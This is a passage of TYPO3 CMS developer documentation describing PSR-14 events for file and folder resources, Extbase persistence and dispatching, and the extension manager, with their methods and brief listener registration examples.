string

Returns

The current conflict mode

AfterFileContentsSetEvent

The PSR-14 event \TYPO3\CMS\Core\Resource\Event\AfterFileContentsSetEvent is fired after the contents of a file got set / replaced.

Example: Listeners can analyze content for AI purposes within extensions.

Examples: Listeners can analyze content for AI purposes within extensions.

API

class AfterFileContentsSetEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileContentsSetEvent

This event is fired after the contents of a file got set / replaced.

Examples: Listeners can analyze content for AI purposes within Extensions.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getContent ( )
returntype

string

AfterFileCopiedEvent

This event is fired after a file was copied within a Resource Storage / Driver. The folder represents the "target folder".

Example: Listeners can sign up for listing duplicates using this event.

API

class AfterFileCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCopiedEvent

This event is fired after a file was copied within a Resource Storage / Driver.

The folder represents the "target folder".

Example: Listeners can sign up for listing duplicates using this event.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getNewFileIdentifier ( )
returntype

string

getNewFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

AfterFileCreatedEvent

This event is fired before a file was created within a Resource Storage / Driver. The folder represents the "target folder".

Example: This allows to modify a file or check for an appropriate signature after a file was created in TYPO3.

API

class AfterFileCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCreatedEvent

This event is fired before a file was created within a Resource Storage / Driver.

The folder represents the "target folder".

Example: This allows to modify a file or check for an appropriate signature after a file was created in TYPO3.

getFileName ( )
returntype

string

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

AfterFileDeletedEvent

This event is fired after a file was deleted.

Example: If an extension provides additional functionality (e.g. variants), this event allows listener to also clean up their custom handling. This can also be used for versioning of files.

API

class AfterFileDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileDeletedEvent

This event is fired after a file was deleted.

Example: If an extension provides additional functionality (e.g. variants), this event allows listener to also clean up their custom handling. This can also be used for versioning of files.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

AfterFileMarkedAsMissingEvent

This event is fired once a file was just marked as missing in the database (sys_file).

Example: If a file is marked as missing, listeners can try to recover a file. This can happen on specific setups where editors also work via FTP.

API

class AfterFileMarkedAsMissingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMarkedAsMissingEvent

This event is fired once a file was just marked as missing in the database (sys_file).

Example: If a file is marked as missing, listeners can try to recover a file. This can happen on specific setups where editors also work via FTP.

getFileUid ( )
returntype

int

AfterFileMetaDataCreatedEvent

This event is fired once metadata of a file was added to the database, so it can be enriched with more information.

API

class AfterFileMetaDataCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataCreatedEvent

This event is fired once metadata of a file was added to the database, so it can be enriched with more information.

getFileUid ( )
returntype

int

getMetaDataUid ( )
returntype

int

getRecord ( )
returntype

array

setRecord ( array $record)
param array $record

the record

AfterFileMetaDataDeletedEvent

This event is fired once all metadata of a file was removed, in order to manage custom metadata that was added previously.

API

class AfterFileMetaDataDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataDeletedEvent

This event is fired once all metadata of a file was removed, in order to manage custom metadata that was added previously

getFileUid ( )
returntype

int

AfterFileMetaDataUpdatedEvent

This event is fired once metadata of a file was updated, in order to update custom metadata fields accordingly.

API

class AfterFileMetaDataUpdatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMetaDataUpdatedEvent

This event is fired once metadata of a file was updated, in order to update custom metadata fields accordingly

getFileUid ( )
returntype

int

getMetaDataUid ( )
returntype

int

getRecord ( )
returntype

array

AfterFileMovedEvent

This event is fired after a file was moved within a Resource Storage / Driver. The folder represents the "target folder".

Examples: Use this to update custom third party handlers that rely on specific paths.

API

class AfterFileMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileMovedEvent

This event is fired after a file was moved within a Resource Storage / Driver.

The folder represents the "target folder".

Examples: Use this to update custom third party handlers that rely on specific paths.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getOriginalFolder ( )
returntype

TYPO3\CMS\Core\Resource\FolderInterface

AfterFileProcessingEvent

This event is fired after a file object has been processed. This allows to further customize a file object's processed file.

API

class AfterFileProcessingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileProcessingEvent

This event is fired after a file object has been processed.

This allows to further customize a file object's processed file.

getProcessedFile ( )
returntype

TYPO3\CMS\Core\Resource\ProcessedFile

setProcessedFile ( TYPO3\\CMS\\Core\\Resource\\ProcessedFile $processedFile)
param TYPO3\\CMS\\Core\\Resource\\ProcessedFile $processedFile

the processedFile

getDriver ( )
returntype

TYPO3\CMS\Core\Resource\Driver\DriverInterface

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getTaskType ( )
returntype

string

getConfiguration ( )
returntype

array

AfterFileRemovedFromIndexEvent

This event is fired once a file was just removed in the database ( sys_file). Example can be to further handle files and manage them separately outside of TYPO3's index.

API

class AfterFileRemovedFromIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileRemovedFromIndexEvent

This event is fired once a file was just removed in the database (sys_file).

Example can be to further handle files and manage them separately outside of TYPO3's index.

getFileUid ( )
returntype

int

AfterFileRenamedEvent

This event is fired after a file was renamed in order to further process a file or filename or update custom references to a file.

API

class AfterFileRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileRenamedEvent

This event is fired after a file was renamed in order to further process a file or filename or update custom references to a file.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getTargetFileName ( )
returntype

string

AfterFileReplacedEvent

This event is fired after a file was replaced.

Example: Further process a file or create variants, or index the contents of a file for AI analysis etc.

API

class AfterFileReplacedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileReplacedEvent

This event is fired after a file was replaced.

Example: Further process a file or create variants, or index the contents of a file for AI analysis etc.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getLocalFilePath ( )
returntype

string

AfterFileUpdatedInIndexEvent

This event is fired once an index was just updated inside the database (= indexed). Custom listeners can update further index values when a file was updated.

API

class AfterFileUpdatedInIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileUpdatedInIndexEvent

This event is fired once an index was just updated inside the database (= indexed).

Custom listeners can update further index values when a file was updated.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\File

getRelevantProperties ( )
returntype

array

getUpdatedFields ( )
returntype

array

AfterFolderAddedEvent

This event is fired after a folder was added to the Resource Storage / Driver. This allows to customize permissions or set up editor permissions automatically via listeners.

API

class AfterFolderAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderAddedEvent

This event is fired after a folder was added to the Resource Storage / Driver.

This allows to customize permissions or set up editor permissions automatically via listeners.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

AfterFolderCopiedEvent

This event is fired after a folder was copied to the Resource Storage / Driver.

Example: Custom listeners can analyze contents of a file or add custom permissions to a folder automatically.

API

class AfterFolderCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderCopiedEvent

This event is fired after a folder was copied to the Resource Storage / Driver.

Example: Custom listeners can analyze contents of a file or add custom permissions to a folder automatically.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetParentFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetFolder ( )
returntype

TYPO3\CMS\Core\Resource\FolderInterface

AfterFolderDeletedEvent

This event is fired after a folder was deleted. Custom listeners can then further clean up permissions or third-party processed files with this event.

API

class AfterFolderDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderDeletedEvent

This event is fired after a folder was deleted. Custom listeners can then further clean up permissions or third-party processed files with this event.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

isDeleted ( )
returntype

bool

AfterFolderMovedEvent

This event is fired after a folder was moved within the Resource Storage / Driver. Custom references can be updated via listeners of this event.

API

class AfterFolderMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderMovedEvent

This event is fired after a folder was moved within the Resource Storage / Driver.

Custom references can be updated via listeners of this event.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetParentFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetFolder ( )
returntype

TYPO3\CMS\Core\Resource\FolderInterface

AfterFolderRenamedEvent

This event is fired after a folder was renamed.

Examples: Add custom processing of folders or adjust permissions.

This event is also used by TYPO3 itself to synchronize folder relations in records (for example in sys_filemounts) after renaming of folders.

API

class AfterFolderRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFolderRenamedEvent

This event is fired after a folder was renamed.

Examples: Add custom processing of folders or adjust permissions.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getSourceFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

AfterResourceStorageInitializationEvent

This event is fired after a resource object was built/created. Custom handlers can be initialized at this moment for any kind of resource as well.

API

class AfterResourceStorageInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterResourceStorageInitializationEvent

This event is fired after a resource object was built/created.

Custom handlers can be initialized at this moment for any kind of source as well.

getStorage ( )
returntype

TYPO3\CMS\Core\Resource\ResourceStorage

setStorage ( TYPO3\\CMS\\Core\\Resource\\ResourceStorage $storage)
param TYPO3\\CMS\\Core\\Resource\\ResourceStorage $storage

the storage

BeforeFileAddedEvent

This event is fired before a file is about to be added to the Resource Storage / Driver. This allows to do custom checks to a file or restrict access to a file before the file is added.

API

class BeforeFileAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileAddedEvent

This event is fired before a file is about to be added to the Resource Storage / Driver.

This allows to do custom checks to a file or restrict access to a file before the file is added.

getFileName ( )
returntype

string

setFileName ( string $fileName)
param string $fileName

the fileName

getSourceFilePath ( )
returntype

string

getTargetFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getStorage ( )
returntype

TYPO3\CMS\Core\Resource\ResourceStorage

getDriver ( )
returntype

TYPO3\CMS\Core\Resource\Driver\DriverInterface

BeforeFileContentsSetEvent

This event is fired before the contents of a file gets set / replaced. This allows to further analyze or modify the content of a file before it is written by the driver.

API

class BeforeFileContentsSetEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileContentsSetEvent

This event is fired before the contents of a file gets set / replaced.

This allows to further analyze or modify the content of a file before it is written by the driver.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getContent ( )
returntype

string

setContent ( string $content)
param string $content

the content

BeforeFileCopiedEvent

This event is fired before a file is about to be copied within a Resource Storage / Driver. The folder represents the "target folder".

This allows to further analyze or modify the file or metadata before it is written by the driver.

API

class BeforeFileCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileCopiedEvent

This event is fired before a file is about to be copied within a Resource Storage / Driver.

The folder represents the "target folder".

This allows to further analyze or modify the file or metadata before it is written by the driver.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

BeforeFileCreatedEvent

This event is fired before a file is about to be created within a Resource Storage / Driver. The folder represents the "target folder".

This allows to further analyze or modify the file or filename before it is written by the driver.

API

class BeforeFileCreatedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileCreatedEvent

This event is fired before a file is about to be created within a Resource Storage / Driver.

The folder represents the "target folder".

This allows to further analyze or modify the file or filename before it is written by the driver.

getFileName ( )
returntype

string

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

BeforeFileDeletedEvent

This event is fired before a file is about to be deleted.

Event listeners can clean up third-party references with this event.

API

class BeforeFileDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileDeletedEvent

This event is fired before a file is about to be deleted.

Event listeners can clean up third-party references with this event.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

BeforeFileMovedEvent

This event is fired before a file is about to be moved within a Resource Storage / Driver. The folder represents the "target folder".

API

class BeforeFileMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileMovedEvent

This event is fired before a file is about to be moved within a Resource Storage / Driver.

The folder represents the "target folder".

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetFileName ( )
returntype

string

BeforeFileProcessingEvent

This event is fired before a file object is processed. Allows to add further information or enrich the file before the processing is kicking in.

API

class BeforeFileProcessingEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileProcessingEvent

This event is fired before a file object is processed.

Allows to add further information or enrich the file before the processing is kicking in.

getProcessedFile ( )
returntype

TYPO3\CMS\Core\Resource\ProcessedFile

setProcessedFile ( TYPO3\\CMS\\Core\\Resource\\ProcessedFile $processedFile)
param TYPO3\\CMS\\Core\\Resource\\ProcessedFile $processedFile

the processedFile

getDriver ( )
returntype

TYPO3\CMS\Core\Resource\Driver\DriverInterface

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getTaskType ( )
returntype

string

getConfiguration ( )
returntype

array

BeforeFileRenamedEvent

This event is fired before a file is about to be renamed. Custom listeners can further rename the file according to specific guidelines based on the project.

API

class BeforeFileRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileRenamedEvent

This event is fired before a file is about to be renamed. Custom listeners can further rename the file according to specific guidelines based on the project.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getTargetFileName ( )
returntype

string

BeforeFileReplacedEvent

This event is fired before a file is about to be replaced. Custom listeners can check for file integrity or analyze the content of the file before it gets added.

API

class BeforeFileReplacedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFileReplacedEvent

This event is fired before a file is about to be replaced.

Custom listeners can check for file integrity or analyze the content of the file before it gets added.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getLocalFilePath ( )
returntype

string

BeforeFolderAddedEvent

This event is fired before a folder is about to be added to the Resource Storage / Driver. This allows to further specify folder names according to regulations for a specific project.

API

class BeforeFolderAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderAddedEvent

This event is fired before a folder is about to be added to the Resource Storage / Driver.

This allows to further specify folder names according to regulations for a specific project.

getParentFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getFolderName ( )
returntype

string

BeforeFolderCopiedEvent

This event is fired before a folder is about to be copied to the Resource Storage / Driver. Listeners could add deferred processing / queuing of large folders.

API

class BeforeFolderCopiedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderCopiedEvent

This event is fired before a folder is about to be copied to the Resource Storage / Driver.

Listeners could add deferred processing / queuing of large folders.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetParentFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetFolderName ( )
returntype

string

BeforeFolderDeletedEvent

This event is fired before a folder is about to be deleted.

Listeners can use this event to clean up further external references to a folder / files in this folder.

API

class BeforeFolderDeletedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderDeletedEvent

This event is fired before a folder is about to be deleted.

Listeners can use this event to clean up further external references to a folder / files in this folder.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

BeforeFolderMovedEvent

This event is fired before a folder is about to be moved to the Resource Storage / Driver. Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when moving folders.

API

class BeforeFolderMovedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderMovedEvent

This event is fired before a folder is about to be moved to the Resource Storage / Driver.

Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when moving folders.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetParentFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetFolderName ( )
returntype

string

BeforeFolderRenamedEvent

This event is fired before a folder is about to be renamed. Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when renaming folders.

API

class BeforeFolderRenamedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeFolderRenamedEvent

This event is fired before a folder is about to be renamed.

Listeners can be used to modify a folder name before it is actually moved or to ensure consistency or specific rules when renaming folders.

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getTargetName ( )
returntype

string

BeforeResourceStorageInitializationEvent

This event is fired before a resource object is actually built/created.

Example: A database record can be enriched to add dynamic values to each resource (file/folder) before creation of a storage.

API

class BeforeResourceStorageInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\BeforeResourceStorageInitializationEvent

This event is fired before a resource object is actually built/created.

Example: A database record can be enriched to add dynamic values to each resource (file/folder) before creation of a storage

getStorageUid ( )
returntype

int

setStorageUid ( int $storageUid)
param int $storageUid

the storageUid

getRecord ( )
returntype

array

setRecord ( array $record)
param array $record

the record

getFileIdentifier ( )
returntype

string

setFileIdentifier ( string $fileIdentifier)
param string $fileIdentifier

the fileIdentifier

EnrichFileMetaDataEvent

Event that is called after a record has been loaded from database Allows other places to do extension of metadata at runtime or for example translation and workspace overlay.

API

class EnrichFileMetaDataEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\EnrichFileMetaDataEvent

Event that is called after a record has been loaded from database Allows other places to do extension of metadata at runtime or for example translation and workspace overlay.

getFileUid ( )
returntype

int

getMetaDataUid ( )
returntype

int

getRecord ( )
returntype

array

setRecord ( array $record)
param array $record

the record

GeneratePublicUrlForResourceEvent

This event is fired before TYPO3 FAL's native URL generation for a Resource is instantiated.

This allows for listeners to create custom links to certain files (e.g. restrictions) for creating authorized deeplinks.

API

class GeneratePublicUrlForResourceEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\GeneratePublicUrlForResourceEvent

This event is fired before TYPO3 FAL's native URL generation for a Resource is instantiated.

This allows for listeners to create custom links to certain files (e.g. restrictions) for creating authorized deeplinks.

getResource ( )
returntype

TYPO3\CMS\Core\Resource\ResourceInterface

getStorage ( )
returntype

TYPO3\CMS\Core\Resource\ResourceStorage

getDriver ( )
returntype

TYPO3\CMS\Core\Resource\Driver\DriverInterface

isRelativeToCurrentScript ( )
returntype

bool

getPublicUrl ( )
returntype

string

setPublicUrl ( string $publicUrl)
param string $publicUrl

the publicUrl

ModifyFileDumpEvent

New in version 11.4

The ModifyFileDumpEvent is fired in the FileDumpController and allows extensions to perform additional access / security checks before dumping a file. The event does not only contain the file to dump but also the PSR-7 Request.

In case the file dump should be rejected, the event has to set a PSR-7 response, usually with a 403 status code. This will then immediately stop the propagation.

With the event, it's not only possible to reject the file dump request, but also to replace the file, which should be dumped.

Example

Registration of the event in the Services.yaml:

MyVendor\MyPackage\Resource\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-package/resource/my-event-listener'
Copied!

The corresponding event listener class:

use TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent;

final class MyEventListener {

    public function __invoke(ModifyFileDumpEvent $event): void
    {
        // do magic here
    }

}
Copied!

API

class ModifyFileDumpEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\ModifyFileDumpEvent

Event that is triggered when a file should be dumped to the browser, allowing to perform custom security/access checks when accessing a file through a direct link, and returning an alternative Response.

It is also possible to replace the file during this event, but not setting a response.

As soon as a custom Response is added, the propagation is stopped.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\ResourceInterface

setFile ( TYPO3\\CMS\\Core\\Resource\\ResourceInterface $file)
param TYPO3\\CMS\\Core\\Resource\\ResourceInterface $file

the file

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

setResponse ( Psr\\Http\\Message\\ResponseInterface $response)
param Psr\\Http\\Message\\ResponseInterface $response

the response

getResponse ( )
returntype

Psr\Http\Message\ResponseInterface

isPropagationStopped ( )
returntype

bool

ModifyIconForResourcePropertiesEvent

This is an event every time an icon for a resource (file or folder) is fetched, allowing to modify the icon or overlay in an event listener.

API

class ModifyIconForResourcePropertiesEvent
Fully qualified name
\TYPO3\CMS\Core\Imaging\Event\ModifyIconForResourcePropertiesEvent

This is an Event every time an icon for a resource (file or folder) is fetched, allowing to modify the icon or overlay in an event listener.

getResource ( )
returntype

TYPO3\CMS\Core\Resource\ResourceInterface

getSize ( )
returntype

string

getOptions ( )
returntype

array

getIconIdentifier ( )
returntype

string

setIconIdentifier ( string $iconIdentifier)
param string $iconIdentifier

the iconIdentifier

getOverlayIdentifier ( )
returntype

string

setOverlayIdentifier ( string $overlayIdentifier)
param string $overlayIdentifier

the overlayIdentifier

SanitizeFileNameEvent

This event is fired once an index was just added to the database (= indexed), so it is possible to modify the file name, and name the files according to naming conventions of a specific project.

API

class SanitizeFileNameEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\SanitizeFileNameEvent

This event is fired once an index was just added to the database (= indexed), so it is possible to modify the file name, and name the files according to naming conventions of a specific project.

getFileName ( )
returntype

string

setFileName ( string $fileName)
param string $fileName

the fileName

getTargetFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getStorage ( )
returntype

TYPO3\CMS\Core\Resource\ResourceStorage

getDriver ( )
returntype

TYPO3\CMS\Core\Resource\Driver\DriverInterface

Tree

The following list contains PSR-14 events in EXT:core, namespace Tree.

Contents:

ModifyTreeDataEvent

Allows to modify tree data for any database tree.

API

class ModifyTreeDataEvent
Fully qualified name
\TYPO3\CMS\Core\Tree\Event\ModifyTreeDataEvent

Allows to modify tree data for any database tree

getTreeData ( )
returntype

TYPO3\CMS\Backend\Tree\TreeNode

setTreeData ( TYPO3\\CMS\\Backend\\Tree\\TreeNode $treeData)
param TYPO3\\CMS\\Backend\\Tree\\TreeNode $treeData

the treeData

getProvider ( )
returntype

TYPO3\CMS\Core\Tree\TableConfiguration\AbstractTableConfigurationTreeDataProvider

Extbase

The following list contains PSR-14 events in EXT:extbase.

Contents:

Mvc

The following list contains PSR-14 events in EXT:extbase, namespace Mvc.

Contents:

AfterRequestDispatchedEvent

\TYPO3\CMS\Extbase\Event\Mvc\AfterRequestDispatchedEvent

Event which is fired after the dispatcher has successfully dispatched a request to a controller/action.

API

class AfterRequestDispatchedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Mvc\AfterRequestDispatchedEvent

Event which is fired after the dispatcher has successfully dispatched a request to a controller/action.

getRequest ( )
returntype

TYPO3\CMS\Extbase\Mvc\RequestInterface

getResponse ( )
returntype

Psr\Http\Message\ResponseInterface

BeforeActionCallEvent

\TYPO3\CMS\Extbase\Event\Mvc\BeforeActionCallEvent

Event that is triggered before any Extbase Action is called within the ActionController or one of its subclasses.

API

class BeforeActionCallEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Mvc\BeforeActionCallEvent

Event that is triggered before any Extbase Action is called within the ActionController or one of its subclasses.

getControllerClassName ( )
returntype

string

getActionMethodName ( )
returntype

string

getPreparedArguments ( )
returntype

array

Persistence

The following list contains PSR-14 events in EXT:extbase, namespace Persistence.

Contents:

AfterObjectThawedEvent

\TYPO3\CMS\Extbase\Event\Persistence\AfterObjectThawedEvent

Allows to modify values when creating domain objects.

API

class AfterObjectThawedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\AfterObjectThawedEvent

Allows to modify values when creating domain objects.

getObject ( )
returntype

TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

getRecord ( )
returntype

array

EntityAddedToPersistenceEvent

Event which is fired after an object/entity was persisted on add.

The event is dispatched after persisting the object, before updating the reference index and adding the object to the persistence session.

API

class EntityAddedToPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityAddedToPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be added, but before updating the reference index and current session.

getObject ( )
returntype

TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityPersistedEvent

Event which is fired after an object was pushed to the storage backend.

API

class EntityPersistedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityPersistedEvent

Event which is fired after an object was pushed to the storage backend

getObject ( )
returntype

TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityRemovedFromPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be removed.

API

class EntityRemovedFromPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityRemovedFromPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be removed.

getObject ( )
returntype

TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityUpdatedInPersistenceEvent

Event which is fired after an object/entity was persisted on update.

API

class EntityUpdatedInPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityUpdatedInPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be updated.

getObject ( )
returntype

TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

ModifyQueryBeforeFetchingObjectDataEvent

\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent

Event which is fired before the storage backend is asked for results from a given query.

API

class ModifyQueryBeforeFetchingObjectDataEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent

Event which is fired before the storage backend is asked for results from a given query.

getQuery ( )
returntype

TYPO3\CMS\Extbase\Persistence\QueryInterface

setQuery ( TYPO3\\CMS\\Extbase\\Persistence\\QueryInterface $query)
param TYPO3\\CMS\\Extbase\\Persistence\\QueryInterface $query

the query

ModifyResultAfterFetchingObjectDataEvent

Event which is fired after the storage backend has pulled results from a given query.

API

class ModifyResultAfterFetchingObjectDataEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectDataEvent

Event which is fired after the storage backend has pulled results from a given query.

getQuery ( )
returntype

TYPO3\CMS\Extbase\Persistence\QueryInterface

getResult ( )
returntype

array

setResult ( array $result)
param array $result

the result

ExtensionManager

The following list contains PSR-14 events in EXT:extension_manager.

Contents:

AfterExtensionDatabaseContentHasBeenImportedEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::afterExtensionStaticSqlImport.

Event that is triggered after a package has imported the database file shipped within a t3d/xml import file.

API

class AfterExtensionDatabaseContentHasBeenImportedEvent
Fully qualified name
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionDatabaseContentHasBeenImportedEvent

Event that is triggered after a package has imported the database file shipped within a t3d/xml import file

getPackageKey ( )
returntype

string

getImportFileName ( )
returntype

string

getImportResult ( )
returntype

int

getEmitter ( )
returntype

TYPO3\CMS\Extensionmanager\Utility\InstallUtility

AfterExtensionFilesHaveBeenImportedEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::afterExtensionFileImport.

Event that is triggered after a package has imported all extension files (from Initialisation/Files/).

API

class AfterExtensionFilesHaveBeenImportedEvent
Fully qualified name
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionFilesHaveBeenImportedEvent

Event that is triggered after a package has imported all extension files (from Initialisation/Files)

getPackageKey ( )
returntype

string

getDestinationAbsolutePath ( )
returntype

string

getEmitter ( )
returntype

TYPO3\CMS\Extensionmanager\Utility\InstallUtility

AfterExtensionStaticDatabaseContentHasBeenImportedEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::afterExtensionStaticSqlImport.

Event that is triggered after a package has imported the database file shipped within ext_tables_static+adt.sql.

API

class AfterExtensionStaticDatabaseContentHasBeenImportedEvent
Fully qualified name
\TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent

Event that is triggered after a package has imported the database file shipped within "ext_tables_static+adt.sql"

getPackageKey ( )
returntype

string

getSqlFileName ( )
returntype

string

getEmitter ( )
returntype

TYPO3\CMS\Extensionmanager\Utility\InstallUtility

AvailableActionsForExtensionEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\ViewHelper\ProcessAvailableActionsViewHelper::processActions.

Event that is triggered when rendering an additional action (currently within a Fluid ViewHelper) in the extension manager.

API

class AvailableActionsForExtensionEvent
Fully qualified name
\TYPO3\CMS\Extensionmanager\Event\AvailableActionsForExtensionEvent

Event that is triggered when rendering an additional action (currently within a Fluid ViewHelper).

getPackageKey ( )
returntype

string

getPackageData ( )
returntype

array

getActions ( )
returntype

array

addAction ( string $actionKey, string $content)
param string $actionKey

the actionKey

param string $content

the content

setActions ( array $actions)
param array $actions

the actions

Filelist

The following list contains PSR-14 events in EXT:filelist.

Contents:

ProcessFileListActionsEvent

New in version 11.4

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\ProcessFileListActionsEvent is fired after generating the actions for the files and folders listing in the File > Filelist module.

This event can be used to manipulate the icons/actions, used for the edit control section in the files and folders listing within the File > Filelist module.

Example

Registration of the event in the extension's Services.yaml:

EXT:my_extension/Configuration/Services.yaml
MyVendor\MyExtension\FileList\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-extension/filelist/my-event-listener'
Copied!

The corresponding event listener class:

EXT:my_extension/Classes/FileList/ProcessFileListActionsEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\FileList;

